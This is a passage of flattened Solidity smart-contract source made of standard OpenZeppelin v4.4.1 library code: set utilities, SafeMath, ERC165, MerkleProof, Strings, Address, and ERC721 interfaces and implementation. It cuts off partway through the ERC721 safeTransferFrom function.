* @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), 